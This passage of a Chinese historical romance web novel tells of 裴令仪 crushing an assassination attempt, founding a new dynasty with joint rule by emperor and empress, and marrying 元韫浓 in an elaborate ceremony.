“他方才挥剑的时候,一直都把一朵永生花衔在嘴里。”孙鹃纨说道,“这是什么意思,郡主应该心里清楚。” 元韫浓自然清楚,因为如果战败,必然会被砍下首级悬在城墙上示众。 裴令仪是做好了战败的准备,即使是那样,也不想分离,也不想跟元韫浓当年送他的这朵永生花分开。 他真的很珍惜那朵花。 元韫浓轻笑一声:“这种小事,还要来跟我说?” 孙鹃纨道:“这不是想着上边的越和谐,我们下面的也能过几天好日子吗?” 话音刚落,她敏锐地觉察到了不对的地方。 “郡主当心!”小满喊道。 刀剑割断雨帘,直取元韫浓。 白芒刺目,一滑而过。 元韫浓只觉眼前一闪,一股力便拽着她的手腕,她一个踉跄,连连退后几步。 刀光剑影,兵器相交相撞之间电光火石,一抬眸,她看见的便是裴令仪凝重而冷厉的神情。 裴令仪持剑与袭来的刀剑相抵,下一刻,孙鹃纨和小满带着人与来袭者相抗。 血腥味随着冷风簌簌,裹挟着冷雨,刹那间便灌入了鼻腔。 为首者被裴令仪一剑挥倒,重重地摔在地上,剑锋距离咽喉只有咫尺之遥。 剑尖挑落蒙面的面罩,露出真容,剩下的那些人也纷纷被制服。 “裴十七。”元韫浓唤出来人姓名。 那刺客瞳孔骤缩。 她垂眸看着将死之人,“你是为了替裴七复仇,还是不满于我妨碍了你们裴氏一族?又或者是为你们主子而不平?” “主上!这妖女惑您心智——”嘶吼未完,裴令仪的剑已削去他半片头骨。 裴令仪平静地说道:“都杀了吧。” “主上!我等都是裴姓之人,为裴氏肝脑涂地,主上当真要为了这么一个慕南郡主,而杀尽忠良吗?”这些人痛心疾首。 孙鹃纨踢了一脚面前被扣押在地上的刺客,“你们算是什么忠良?少在这给自己脸上贴金了。” 她最烦的就是这些姓裴的,仗着这个姓氏,多少个是上来就占了最轻松最容易捞油水的位置,还一口一个是为了裴雍大业。 叫人恶心。 谁家忠良背着自家主上,去杀主上的所爱之人啊? “处理掉。”裴令仪不为所动。 他下令之后,身边那群人立刻动手。 “阿姊也累了一整日了,这下,可算是能睡个好觉了。”裴令仪露出一个笑,放下了饱饮敌血的剑。 他转头对孙鹃纨道:“送阿姊先去惠贞长公主先前的宫殿里歇息吧,你另一队人在外守着。” “是。”孙鹃纨领命。 元韫浓知道他要做的事情还有很多,对他微微颔首,又叮嘱了一句:“穷寇莫追,虽说是要斩草除根,但你也需仔细他们破釜沉舟。” 裴令仪点头,“阿姊放心,我都省的。” 他又深深地看了元韫浓一眼,带着人转身离去。 惠贞长公主的寝宫虽然没有居住人,但是元韫浓一直喊人打扫。 现下小满在里头点燃熏香,拉下帘帐,让元韫浓睡下了。 孙鹃纨带人在外头守着,就怕是有漏网之鱼。 紧绷的精神这时候才松懈下来,元韫浓其实也已经做好了裴令仪兵败的准备,但好在裴令仪还是赢了。 在袅袅的香雾里,元韫浓昏昏沉沉地昏睡了过去。 这个梦境太沉了,好像她又将前世又梦了一遍。 睁开眼睛时,裴令仪的脸庞映入眼帘,恍如隔世。 裴令仪坐在床边,靠着床柱闭眼小憩,觉察到元韫浓醒来,便睁开了眼睛望过来。 他像是已经焚香沐浴过了,身上干干净净,伤口也处理过。 “沐浴干净了才来找我的?”元韫浓微微弯起唇角,“怎么不上来睡?就坐在旁边做什么呢?” “阿姊醒了。”裴令仪笑了笑。 他的掌心贴上元韫浓的脸颊,“原来那样浑身是血的,太脏了,在阿姊眼前不像话。又怕上来闹醒了阿姊,坐在旁边守着就好了,我倒也不是很累。” 他其实是怕有人这时候还闯进来刺杀,他在外头,那刺客就只能先越过他,或是先杀了他。 虽然现在大致的事情都处理完了,但是毕竟他还没有登基,天下未定,难保不会有人来殊死一搏。 元韫浓也没有揭穿他不累的谎话,拉了他的手腕一把,“上来睡会。” 裴令仪便顺势上了床,小心地躺在元韫浓旁边,“阿姊还困吗?” “还是有些困。”元韫浓靠在他肩上。 裴令仪顿时有些担忧,“要不要叫太医来瞧瞧?” 元韫浓无奈道:“身子骨就这样,有些累罢了。” “阿姊先在惠贞长公主的寝宫里住上一阵子,凤仪宫我再叫人重新修葺过,清理过,阿姊再搬进去。”裴令仪说道。 元韫浓应了一声,又问:“皇后呢?在兵乱里被砍死了?” “她自己上吊自缢了。”裴令仪平淡道。 皇后在知道齐家兵败,太后已死之后,在裴令仪带人去凤仪宫之前就自尽了。 元韫浓的语气有些可惜,“倒是便宜她了。” 裴令仪的指腹轻轻摩挲着元韫浓的眼尾,眼神温柔地注视着她,“不会便宜了惠帝的。” 他顿了顿,“慕湖舟……他原本在带兵抵御,后面就放弃抵抗了。” 第106章 帝后同治 “你没伤他吧?”元韫浓问。 “没有,兵士把他带过来,我叫人放了他,让他回去的。”裴令仪的语气有些幽怨,“他还说要见见你,我让人赶他走了。” 元韫浓戳了一下他的脸颊,“这也吃味?待你登基之后,封水妃姐姐做县主,也分湖舟表哥做王侯吧。” 裴令仪更幽怨了,“好……” “至于惠帝和太后……”元韫浓沉吟。 “我会叫人将他们葬入慕南皇陵之中。”裴令仪说道。 这一番听着似乎温柔体贴甚至于以德报怨的话语,不像是会出自于裴令仪之口。 但是元韫浓已经明白裴令仪要做什么了。 元韫浓轻叹一声:“依你所言去做吧。” “届时史官写我,怕是要遗臭万年了。”裴令仪垂眸,自嘲般笑了笑。 “你管他们说什么呢?你自己说的,只要你我姓名并列,是非功过,毁誉由人。”元韫浓道。 “得阿姊待我如此,才教我过往苦涩都如云烟成雨。”裴令仪轻声感慨道。 语罢他又有些紧张地问:“我身上可还有血腥气吗?会冲撞了阿姊吗?” 元韫浓笑他:“什么冲撞不冲撞的?我又不是什么神佛萨满。” “昔日阿姊救我于水火,挡在我身前拦下慕载物那一剑,说不过如此时,我就在想了。”裴令仪垂下眸子低笑,“阿姊就如同观音一般。” 他笑道:“那时候就想,若能得阿姊为妻,我必然朝夕叩拜,唯命是从。” “你没重生前就想那么远了?”元韫浓挑眉。 裴令仪望着元韫浓,目光柔软,“嗯。” 他想的东西有很多,想来又有些担心了,“那些人的话,阿姊不要往心里头去。我绝没有想过要阿姊做笼中雀,也没想过要纳妃嫔,跟前世一样,我有阿姊一个人足矣。” 元韫浓瞥了他一眼。 他微微俯首,额头蹭过元韫浓的鬓角,“阿姊嫁我,我并非是要阿姊做槛花笼鹤,若是阿姊高兴,做什么也无妨。” “怎么委屈上了?”元韫浓无可奈何。 她突然间又想到了什么,问:“你原先叫我阿姊,后头成了骠骑大将军回来,为何唤我小字了?” “因为阿姊真把我当阿弟了。”裴令仪闷声说道,“我要告诉阿姊,告诉世人,我不是把你当姊妹的。” “那现在怎么又改口了?”元韫浓挑眉问。 裴令仪含笑贴着元韫浓道:“既然马上就要成婚,我还是喜欢叫阿姊。” 元韫浓抬手摸到他的眉骨,“家国新成,纲纪宜张。当招致旧臣,共图更始。像前世那般大开杀戒,并不可取。要杀,也要到外头去杀,那些识时务的就留着吧。” “阿姊今生心慈手软了许多。”裴令仪感叹。 元韫浓笑了一声,拨弄了一下裴令仪的睫毛,“因为那是我该做的事,我素来喜欢作恶。” “听阿姊的。”裴令仪笑道。 元韫浓的手又摸到裴令仪的脸庞,“我们清都那么年轻就要当皇帝了。” “百年前楚乐有一女帝,以长公主之身陟中坛,即帝位,改正朔,易服色。”裴令仪却问道,“阿姊想当皇帝吗?” “你这又是何意?”元韫浓顿了顿。 裴令仪认真道:“若是阿姊更想当帝王,换换也未尝不可。” “皇天后土,帝后同治。既是同尊,何妨在乎一个称谓?”元韫浓说道,“是那些男人让皇后开始居于皇帝之后。” 她郑重道:“我要往后的所有皇后,都有兵权,可议政,登庙宇。” “那我便叫匠人在龙椅边再造一个凤椅。”裴令仪点头,“当年楚乐之景,我为阿姊再造一遍。” 元韫浓轻轻应了一声。 裴令仪问:“阿姊觉得,到时候国号取什么好?” “你不取雍了吗?”元韫浓有些诧异。 毕竟裴令仪是裴雍之后,那些人一直都盼着裴令仪复国,前世裴令仪登基也是用的雍为国号。 “嗯,不想取雍。”裴令仪道,“我本就不是为了他们而战,对我而言,多少有些久远了。” 前世他一直被推着走,被推着光复裴雍。 这一世他可以自己选了。 元韫浓玩笑道:“那你干脆取裴为国号好了。” “阿姊这个主意好。”裴令仪居然点头了,“我觉得阿姊这个主意不错。” “啊?”元韫浓只是随口一说而已,这是不是太随便了一点? 裴令仪眼眸亮晶晶,乌润润的,“到时候再从元氏宗族里过继一个孩子来养,往后大裴后代全是姓元的,后世提起来,也会称之为元裴,我与阿姊之名便可以永远并肩了。” 他越说,眼睛越亮,“这样我也不是复国,你我便是开国帝后,史书上会有你我姓名的。” 元韫浓觉得这孩子都要魔怔了。 “你就那么想史书上留有我们姓名了?孩子不从宗室里挑,反而从后族里选,还让接着姓元,言官们会闹翻天的。”元韫浓道。 “我就是想要后世知道,我和阿姊是夫妻。”裴令仪道。 但是元韫浓仔细一想,这好像也不错。 毕竟前世大雍,后面是从裴氏那里过继了孩子。 今生能让大裴的子孙后代都姓元,那是好事。 于是她道:“由着你来吧。” 裴令仪打定了这个主意,就开始一发不可收拾。 国号为裴,建元永荣。 不但立了元韫浓为后,还将旧制大改特改。 废三宫六院之规,立帝后同治之制。 他还遣了先前会编词造句的门客,新词谱旧曲,传入市井之间,连孩童都会随口传唱。 “双悬日月照乾坤,龙章凤诰共称尊。” 这么一来,宗室和裴雍旧人可就闹翻了天。 但是被裴令仪杀了一波,又消停了下来。 因着反对之人,同先前那些白家齐家徐家之人是一个下场。 白、齐、徐、慕四家之姓的党羽部曲,凡是不降者,一律斩杀。 他们这些反对国号,反对帝后同治之人,居然跟那四家和人是一个下场。 凡是表露反对之人,一律斩杀。 裴令仪很多结束乱局的法子就是杀,杀完了再叫底下人照令施仁政,休养生息。 硬茬被杀了,剩下的软骨头们立刻就跪了。 这有什么法子呢?他们只能默默在心底安慰自己,不就是跟从前一样吗?总比慕南好吧?好歹也是姓裴的当家吧? 至于皇后那里,什么恩宠逾制,尊贵无比……这个属实也没有什么办法,前一个念牝鸡司晨的,都已经被下油锅了。 裴令仪的手段相当粗暴,杀鸡儆猴之下,他们也算是安分了下来。 裴令仪对慕南皇族的态度令众人摸不着头脑,说残暴相当残暴,说网开一面也算是网开一面。 除了被封侯的慕湖舟和封了县主的慕水妃,还有个莫名还了俗,带着自家母妃远渡重洋去云游四海的二皇子慕易遥以外,其余人不是死就是流放。 听说这位新皇亲手砍了惠帝脑袋,但后边又允人将太后和惠帝尸首都葬入慕南皇陵。 众人观望着新帝的态度,看菜下碟。 先前慕南皇族将整个南朝都亏空得厉害,户部奏报上是墨迹未干的库银亏空,此起彼伏的灾民啼号绞成乱麻。叛党的首级悬在旗杆上,军报在案头堆积。 如今的大裴还百废待兴,要处理的事情堆积成山。 裴令仪忙得不可开交,不过一面忙着处理政务,一面忙的还是办婚宴。 其实要办的事情还有很多,不只是政务,还有典礼。 他也不让元韫浓操心,那些琐事他再忙也自己处理掉了,不让那些烦心事到元韫浓面前去。 登基、封后和大婚裴令仪叫礼部全排在了一起。 其实他的僚属都劝他先整登基典礼,有了名正言顺的皇帝身份,再去处理那些趁乱叛变的州府和慕南余孽。 至于大婚,如果想要隆重盛大点,等回来补办也不迟,先把封后诏书下了。 毕竟凡是开国太祖皇帝的登基大典,大多都极为复杂隆重。 即使是裴令仪有了实权,也该把这件事情办得隆重点叫所有人都知道,也好让天下归心。 但在裴令仪眼里,什么都还没有大婚重要。 还不如以大婚封后典礼为主,登基为辅。 在他离京去收复那些混乱的州府,部署好之前,必须得把婚结了。 僚属们拗不过裴令仪,只能由着裴令仪去。 那些登基和大婚的事情,他也是一手操办,跟元韫浓的父兄相当热烈地探讨了细节。 元韫浓对此倒是没有非常热衷,前世跟沈川结过一次,又和裴令仪结过一次。 今生不过是再跟裴令仪大婚一次而已。 都是老夫老妻了,也不知道裴令仪为什么整得跟头婚一样激动且重视。 皇后不止当过一次,结婚也不止结过一次了。 元氏从龙之功,是名副其实的新朝榜上第一家。 岐国公如今成了岐王,元彻回也从岐国公世子成了岐王世子。 禁军都交给了元彻回,南营军交给了元蕴英。 北营军重整之后,交由萧煜。 萧煜准备在京华过了典礼之后,同裴令仪一块一路收复过去,也顺道前往北州驻守。 东营更是着重整顿的对象,又是留京的队伍,便交给了裴九来管。 孙鹃纨打算留在京华,等到她老爹咽了气,西营军缺统领的时候直接空降。 主要是她想京华当元韫浓的佞臣当得开心,不想回西洲看她老爹的脸色。 元云和准备过了妹妹的婚宴,就和云水真人一道回白云观修行。 元韫浓认为自己姐姐到时候可以到钦天监去任职当监正,元云和觉得可行,一口允诺。 郑女幼则是在翰林院当女官当得开心,时不时跑来元韫浓这里跟她讲八卦。 例如说大理寺少卿自从被和元韫浓他们砍了以后,沈川便成了大理寺少卿。 如此年轻的大理寺少卿,不但少见,在婚姻大事上更是炙手可热的人物。 裴令仪倒是对此乐见其成,暗地里还暗示过不少大臣,说沈川是人中龙凤,把女儿许给他准没错。 只是沈川目前仍然没有这层心思,引起了裴令仪不小的警觉,裴令仪觉得沈川是对元韫浓留有余情。 元韫浓听得可怜了沈川一把,郑女幼便滔滔不绝地讲起来成婚大典应该有的礼俗和布置。 对于郑女幼的兴致勃勃,元韫浓多少无奈。 元韫浓身边的任何一个人,都比她本人要激动。 慕水妃、郑女幼和孙鹃纨这几个天天想到一出是一出,有什么想要往典礼上堆的都往元韫浓这里说。 尤其是孙鹃纨,成日里不务正业,就拿着张设计图纸往元韫浓和裴令仪这里跑。 裴令仪到后面不是正务就不见她了,直接差人把她踢出去。 孙鹃纨反而越挫越勇,跑元韫浓这里跑得更勤了。 她甚至想到了修葺凤仪宫的工程日赶夜赶,是能在典礼之前赶出来的,最后的洞房环节就在凤仪宫之中。 元韫浓听得眉心一跳,叫小满把满嘴洞房洞房的孙鹃纨丢了出去。 被裴令仪和元韫浓都丢出来的孙鹃纨仍然不放弃,去追着元彻回和岐王,提出自己的精彩计划。 吓得不明所以的元彻回犹疑着来问元韫浓,需不需要去叫太医给孙鹃纨看看。 元韫浓觉得,要不还是把孙鹃纨丢回西洲吧? 孙鹃纨便哭嚎着元韫浓始乱终弃。 元韫浓对孙鹃纨还算纵容,意思了几句就不再提这事了。 但这下孙鹃纨老实了,不再成日里想着大婚该怎么整了。 典礼前几日,元韫浓还回了岐王府,自己的岁浓院里,准备出嫁时从家门出发。 这几日里,元云和和元蕴英这两个当姐姐的时不时就过来岁浓院里,跟元韫浓苦口婆心地叮嘱了半天事情。 元韫浓本来想,还是元彻回沉得住气,没想到裴令仪半夜爬墙进来的时候说,元彻回失眠地在自己院子里打转。 元韫浓原本觉得好笑,但瞥了一眼深夜潜进来,到自己窗前的裴令仪,又问:“那你来做什么的?” 裴令仪默了默,“……我也失眠。” 第107章 红盖头 元韫浓听了裴令仪的话,觉得更好笑了。 她抿着唇角,上下扫了裴令仪一眼,“你也不是头一回成婚了,怎么还整得跟个初学者似的?还学人做梁上君子,越活越过去了。” 方才她忽听得窗棂“咯”地一声轻响,真以为是贼呢。 结果推开菱花窗,却见桃树枝桠间玄衣一闪。 裴令仪正勾着檐角悬下来,袍摆金线绣的螭龙险些挂断她新栽的花藤。 还好没真挂断,不然她准翻脸。 裴令仪的靴子踏碎了月华,他怀里揣着一包蜜饯,故作委屈,“一日不见,如隔三秋。我是朝也思暮也想,想着见阿姊一眼呢。” “又不是以后瞧不见了。”元韫浓支颐轻笑,指尖轻弹了一下裴令仪的下巴,“带了蜜饯来见我,那就是来督促我喝药的坏人了?” “阿姊怎么能这样看我?”裴令仪叹气,“实在是阿姊叫人不放心,底下人又太无用,连药都不能让阿姊好好喝。” 元韫浓道:“是新开的方子太苦了,叫人刚灌进嘴里就吐了。” “那就是方子的错。”裴令仪煞有介事地点头,“我回头问问太医能不能改得甜一些。” “得了吧,又甜又苦的更难喝,回甘的那些药喝起来还不如苦药呢。”元韫浓嫌弃道。 裴令仪笑着打开油包纸,将蜜饯青梅递到元韫浓眼前,“所以我带了新的蜜饯来给阿姊。” 酸甜的气味令人口齿生津。 他捻了一颗递到元韫浓嘴边,“我叫御膳房新渍的青梅,阿姊尝尝喜不喜欢?” 元韫浓张嘴吃了下去,评价道:“尚可。” 她顿了顿,又扬眉问:“这青梅,该不会是你从清仪馆摘的吧?” “阿姊好聪慧啊。”裴令仪含笑道。 这颗青梅树是他在元韫浓眼前种在清仪馆的,说是用来配岁浓院里的琼树。 元韫浓那会还笑他驴唇不对马嘴呢,不过现在想想,那时候他估计就存着什么青梅竹马,两小无猜的心思,想着暗戳戳压沈川一头呢。 “当初不是说要用来酿酒吗?如今倒是用来做蜜饯了。”元韫浓瞥了一眼裴令仪手里的那包蜜饯。 这个数看着,属实是有些可怜了。 裴令仪低着头,扒了一下油皮纸边角,“实在是树上结的果太少了,做不来酒,才做了蜜饯。” 元韫浓没忍住笑出了声:“看来你种花种草这技艺,一如既往,不精。” 月下裴令仪的耳根微红,“阿姊别取笑我了。” 他原是种什么,什么长不出来的。 其他人嘲笑他是天煞孤星的命格,太过晦气,连花草都被克死。 但是元韫浓说来,只是他园艺太差。 裴令仪的视线落在元韫浓脚上,“阿姊又没穿鞋吗?” 元韫浓还没说话,冷月之下沁凉,裴令仪解下外袍,铺在地砖上。 “他们说婚前不能见面,我们隔着窗,不算实打实会面了。”裴令仪笑着说道。 元韫浓愣了愣,裴令仪又翻过窗来,脚腕便被他握住。 元韫浓下意识要抬脚缩回去,被裴令仪握紧了脚踝。 “阿姊别动。”他单膝点地,“白日我听礼部说凤履要缀东珠,我挑了南海最亮的十二颗。就是明日阿姊的凤冠更沉,压得低不了头看凤履上的东珠。” 他替元韫浓捡来鞋子穿上,“阿姊试试,磨不磨脚?” 元韫浓有些痒,蜷起了脚尖,“你不是说,隔着窗不算会面吗?现在跨过窗来做什么?” “就是替阿姊穿个鞋,阿姊什么也没瞧见。”裴令仪笑着眨了一下眼睛。 然后他便又翻出了窗外。 元韫浓啼笑皆非。 “所以我往盖头上,也缀了东珠。”裴令仪道,“我还做了不少永生花,跟阿姊及笄礼的花冠上的永生花一样,也缀在盖头上。” 他摊开掌心,掌心托着的丝帕里,永生花静谧绽放,中心的玉珠映着月色流转,岁月依旧。 这朵永生花,他真是贴身携带,带了如此之久。 久到,爱惜到,如此珍贵之丝绢,都已经使得亮丽的色泽黯淡不少。 元韫浓静默了片刻,她笑道:“你想重死我不成啊。” “阿姊要不试一试?”裴令仪问,“试试看合不合适?” 嫁衣是绣娘们绣的,但盖头确定他绣的,一针一线绣的。 元韫浓女红只能算是无功无过的程度,原来也要丢给绣娘去,但是裴令仪却接过来绣了。 “现在试盖头?这也太不合规矩……”元韫浓诧异道。 “规矩是给人守的。”裴令仪眼底落着星子,“阿姊从不是守规矩的人。” “我既然是翻墙来的贼子,阿姊也该是窝赃的主子。”他笑道。 裴令仪从前可不会开这种玩笑,元韫浓扬眉,“你现在是眼见着婚期在即,越来越不装了是吧?” “我待阿姊是一如从前,阿姊闭眼。”他说着,打开抱来的匣子。 元韫浓还没来得及闭眼,就看见眼前红色一抹飘扬,又轻飘飘地覆盖下来,遮挡了眼前。 金线绣的琼花在夜色里泛着微光。 视线被遮盖前,她看见的是裴令仪的眼眸,盛满湿漉漉的雾气,像被雨浸透,藏着朦胧的柔光与难以言说的情愫。 红绸从裴令仪的指间滑落,如流霞般覆上元韫浓乌浓的发。 红绸垂落的刹那,烛火“噼啪”轻响,爆出一朵并蒂灯花。 盖头下暖红朦胧,裴令仪的指尖忽然轻轻抚上元韫浓的眉间。 “阿姊。”他低声道,声音里藏着笑意。 元韫浓屏息,隔着红绸,一个带有暖意的吻蹭过她的唇角,印在她嘴唇上摩挲了片刻。 而后,隔着盖头爱怜地吻在了她眉心。 元韫浓察觉到裴令仪的指尖,在她眉尾细细描画。 “画歪了。”她轻嗔。 “是么?是我画歪了吗?”裴令仪低笑,指尖挑起盖头一角,露出元韫浓如画的眉眼。 她颊边染了红绸的暖色,像涂了胭脂一般,如朝霞映雪。 裴令仪轻轻将盖头掀开,眉目柔软,“我画的是不够好,待我跟霜降小满她们学一学,等我学会了,日后便是我为阿姊描眉了。” 元韫浓笑了起来,“你要是画得不好,我可不让你练手。” “我保管学得好。”裴令仪却道。 裴令仪趴在床畔,跟元韫浓讲了许久的话。 见时候不早了,他还不舍得走,见坐在窗边小榻上的元韫浓有些困意,便说:“我弹琵琶哄阿姊睡?” “当我三岁小孩呢?”元韫浓瞥了他一眼,手里的团扇压住他要去拿琵琶的手,“招来巡夜的侍卫,把我阿兄引过来,你这几日是别想要见到我了,他得把你打出去。” 裴令仪委屈道:“我后边就守规矩了,大婚前绝不会再偷偷来见阿姊。我只是今日实在是思念阿姊得很,这才悄悄来看上一眼的。” “少在那里信口胡诌了。”元韫浓自然不会信他的连篇鬼话,撑着脸道,“你倒不如跟我讲讲这几日宫里头的事呢。” 裴令仪其实不太关注宫里的琐事,他这个人本身性子就有些沉闷寡言,更不会关注那些趣事。 照孙鹃纨的话来说,裴令仪其实是个有些无趣的人。 但是有些事情,裴令仪还编得出来,能哄元韫浓开心就好。 半真半假,元韫浓也知道不少事是裴令仪为了哄她开心说夸张了的,但是她听得开心。 听着听着,也不知不觉半眯着眼睛睡了过去。 元韫浓就在窗边听裴令仪讲,讲什么琐事趣事,又讲什么西洲北州的良辰好景好风光,再讲讲北凉那一头的事情。 那些事情出自裴令仪之口,去除了苦楚与匮乏,变得波澜壮阔,不带一点惆怅。 裴令仪见元韫浓睡着了,便停了下来。 他轻笑着望着元韫浓,翻过了窗,弯腰抱起了元韫浓,朝着床榻走去。 将元韫浓轻轻放在床上,替她脱了鞋袜,掖好被角,裴令仪在元韫浓眉心又印下一个轻吻。 做完这一切,他才趁着月色依旧,携带在窗口站了半晌攒下的夜露,匆匆离去。 裴令仪果真是如他所说的那样,在之后都没再越过规矩,偷偷跑来岐王府翻墙来见元韫浓。 大婚当日,元韫浓不知道准备了多久,反正她是一大早就被拉起来了。 梳妆打扮自然是要花费不少时间了。 岁浓院的丫鬟们几乎是前前后后忙得不可开交,凤冠霞帔跟新娘子的妆容,都得细致到极致。 为元韫浓梳发的是元云和,本该是惠贞长公主来的,但是如今,也就元云和这个长姐来了。 元云和为元韫浓轻柔地梳理长发,嘴里轻轻念着十梳歌。 “一梳梳到尾,白发共齐眉。” “二梳梳到头,富贵不用求。” “三梳梳到左,举案又齐眉。” “四梳梳到右,和睦永相守。” “五梳儿孙满堂坐,六梳万事皆顺遂。” “七梳家宅保安康,八梳夫妻长恩爱。” “九梳灾祸全消散,十梳福禄寿禧归。” 十梳罢了,元云和微微侧过身,让出位置,叫侍女们为元韫浓挽发梳妆。 侍女们顿时一拥而上,手脚麻利地办起事情来。 铜镜映着晨光,金丝八宝攒珠髻上的点翠步摇微微晃动。 元韫浓攥着帕子,被这样的场面带动着,竟然也生出几分不一样的感觉来。 她的指尖无意识摩挲着嫁衣细密针脚。 她仰头看向姐姐,元云和红着眼眶。 她轻声道:“出嫁之后……”话未说完,哽咽已漫上喉头。 “姐姐伤心什么?这是喜事。”元韫浓扬起笑脸。 “对,是喜事,你要好好的。”元云和点了点头,别过脸去。 一直坐在旁边的元蕴英罕见地没说话,元韫浓看过去,她也别过脸,像是泪盈于眶。 这是免不了的场面了。 礼数上岐王应该是在外头的,但他没忍住,在元韫浓盖上盖头前,又进屋来瞧了一眼。 他反复说着不要哭,怕元韫浓哭花了妆容,但自己也忍不住泪湿眼眶。 裴令仪把规矩改了又改,清河王府是半点没搭上,反而是把宴席设在了宫里和岐王府。 拜堂也是安排在岐王府拜,他说迎亲后花轿绕着这京华城行一圈,再回到岐王府拜堂。 至于入洞房,再一路回宫里去凤仪宫。 众人听他说的,都觉得匪夷所思,这又是哪儿的道理。 明眼人都看出来裴令仪是半点不待见裴氏了,把岐王府当成了自己和元韫浓的家。 所以什么都在岐王府办。 这么一来,岐王府之人送别之情倒是淡化了许多,可即使是这样,他们也相当的伤感。 窗外传来迎亲队伍的鼓乐声,由远及近。 喜娘捧着红盖头上前时,有声在门外催促。 元韫浓被搀扶着起身,嫁衣上缀着的珍珠流苏簌簌轻响。 她踏出闺房的瞬间,穿堂风掀起红绸一角。 元韫浓回头望向空荡荡的雕花床榻,檐角铃铛叮当,惊起廊下鸟雀,扑棱棱掠过漫天喜红。 外头等着的是元彻回,他作为兄长,是要为元韫浓送嫁的。 他都为了元韫浓成婚这件事情失眠好几宿了。 此刻元彻回立在朱漆门前,锦袍下摆被风吹得翻卷,指节却攥得发白。 他垂眸望着小妹凤冠下若隐若现的侧脸,恍惚看到的却还是当年那个追在他身后耍赖喊哥哥的小团子。 “阿兄,你手都出汗了。”元韫浓感觉到元彻回肌肉紧绷。 想到裴令仪先前说元彻回失眠的事情,她难免觉得好笑。 盖头下传来闷闷的轻笑,却让元彻回喉间发紧。 他深吸口气,稳稳扶住元韫浓的手臂,嫁衣上的金线硌得掌心生疼。 他悄声说道:“若受了委屈……” 话未说完,便被元韫浓轻轻摇头打断。 元彻回单膝跪地,脊背绷得笔直,像是座沉稳的山。 霜降扶着元韫浓爬上元彻回的背,元彻回背着元韫浓往外头走。 元韫浓将脸埋进兄长温热的后背,凤冠上的珍珠簌簌轻响。 元彻回缓缓起身,动作极轻,生怕颠着背上的人,腰间玉佩撞在元韫浓膝头。 元彻回的脚步始终沉稳,一步一步。 跨过门槛时,他突然顿了一下,“什么时候想回家了,一定记得回家。” 背着元韫浓到喜轿前面,元彻回咬咬牙,将元韫浓的手郑重放进裴令仪的掌心。 第108章 成婚,礼成 裴令仪看元彻回在眼前恶狠狠地丢下一番狠话之后,就红着眼睛背过身去了。 他方才来迎亲时可是过五关斩六将。 没几个人敢拦他,但敢来拦他的都一个比一个难对付。 拦门的那几个,最难搞的是元彻回和元蕴英。 沈川倒是没有过多为难裴令仪了。 文治里最刻薄的是元云和与慕水妃,郑女幼还算给面子。 郑女幼含有挑衅意味地说出上一句叫裴令仪对:“昔年野草命当悬。” “幸得观音蔽霜天。”裴令仪从善如流地对出下一句。 郑女幼便让了人。 孙鹃纨他们是帮裴令仪冲门的,裴令仪看他们是半点用场也没派上,靠的还是自己。 裴令仪笑着扶着元韫浓坐上花轿。 南珠与金线饰嫁衣之上针针缀连,如此瑰丽的红,世间无与争艳。 这身昂贵裁成的嫁衣,才配得起他的阿姊。 红绸铺就的甬道蜿蜒至花轿前,鎏金雕花的轿厢恍若浮在云霞之上。 红绸轿帘落下,轿夫抬起花轿。 元韫浓刚才隔着盖头没瞧见裴令仪,只是朦朦胧胧看了个轮廓。 现在上了花轿,是裴令仪骑着舞阳儿在前头开路。 “郡主,郡主……”花轿边上传来小声的呼喊。 元韫浓凑过去,“你不跟着你主子在前边开路,跑来做什么?” 裴九从帘子那塞了一包糕点进来,“就是主上叫我买了点心偷偷给郡主的,主上说郡主肯定起了个大早都没好好用些米水,今日不能好好吃上一顿,先拿点心垫一垫肚子。” 元韫浓隐约瞥见裴九做贼似的姿态,觉得好笑。 她伸手接过了点心,“买的什么?” “买了点太史饼和牛乳糕,郡主就先垫一下吧。”裴九悄悄说道。 “你往后该改口叫我皇后了,清都既然将东营军交予你,你在人前也表现得聪明些。”元韫浓道。 鬼鬼祟祟的裴九一下子垮了脸,“这是说我不聪明吗?” “你自己知道就好,有什么事多跟萧煜和鹃纨学学,这两个人,一个比一个鬼精。”元韫浓道,“行了,你回去吧。” 裴九垂头丧气地走了。 元韫浓看他背影,有些感叹。 原本裴九跟裴七关系好,只是后来裴七背叛了,换了萧煜上来。 虽然萧煜也是个板着脸的沉闷性子,但是他跟孙鹃纨关系更好些。 当初裴七和裴九两人,她还说过他们是没头脑和不高兴。 百两彭彭,八鸾锵锵,百两烂盈,不显其光。 随着这队伍,烈火烧了十里,焚烬了拦了路的树,草木成灰。 元韫浓的嫁衣灼伤了满天的霞光,如此动人。 金甲侍卫开道,玄铁长枪上缠绕的猩红绸带猎猎翻飞。 喜轿转过街角,人潮涌动,围观百姓瞧见轿杆裹着鲛绡,金线绣的并蒂莲泛着微光。 骑在乌骓马上的裴令仪难得一见带着笑,眉眼都熠熠生辉了起来。 腰间玉坠随着马的步伐轻轻相撞,发出清越声响。 马车满载聘礼和陪嫁,车辕上雕刻的麒麟瑞兽栩栩如生。 人群中爆发出此起彼伏的感叹:“当真是金风玉露相逢处,胜却人间无数啊。” “是啊,说来也是一桩美谈哇。听闻陛下和娘娘是从年少时便相识了,曾经还是义姐弟呢。” “对呀,你瞧瞧,这聘礼……啧啧,陛下是把整个清河王府都拆了吧?” “岐王府的陪嫁也是多得可怕啊,这才是真的十里红妆了。” “不过说来也真是,听闻陛下对娘娘也是珍爱至极啊。” “都帝后同治,帝后同尊了,能不珍爱吗?” “还帝后同尊呢?你看咱们陛下那模样,在娘娘面前都是低一头的,应该是娘娘为尊。” “这话你也敢说?不要脑袋了?” “说说而已,喜事嘛。” 万里红妆,后头的流水宴摆了三天三夜,闹得天下人无人不知无人不晓。 这场面,后世之人提起,也难免要感慨几分。 如此盛景,是百年难得一遇的。 队伍浩浩荡荡地在热闹非凡的街巷绕了一圈,最终又绕回了岐王府上。 花轿落地时,爆竹声震天响。 元韫浓听见红绸的车帘子被掀起来,一只骨节分明的手穿过氤氲的硝烟伸进来。 “阿姊。”裴令仪轻声道。 她将手轻轻搭上去。 裴令仪握住元韫浓的手,她的手柔软细腻,如温玉一般,指尖却微凉,轻轻一握,仿佛握住了整个春天。 元韫浓借着裴令仪的力迈出花轿的瞬间,凤冠上的流苏撞出细碎清音。 凤冠霞帔的元韫浓在裴令仪的搀扶下,莲步轻移。 撒满五谷的红毯蜿蜒至喜堂,两人交缠的影子被拉长。 香炉腾起的青烟缠绕着灯,将喜堂晕染成朦胧的绯色。檀木长案上,龙凤烛高烧,烛泪顺着精美的雕花缓缓流淌。 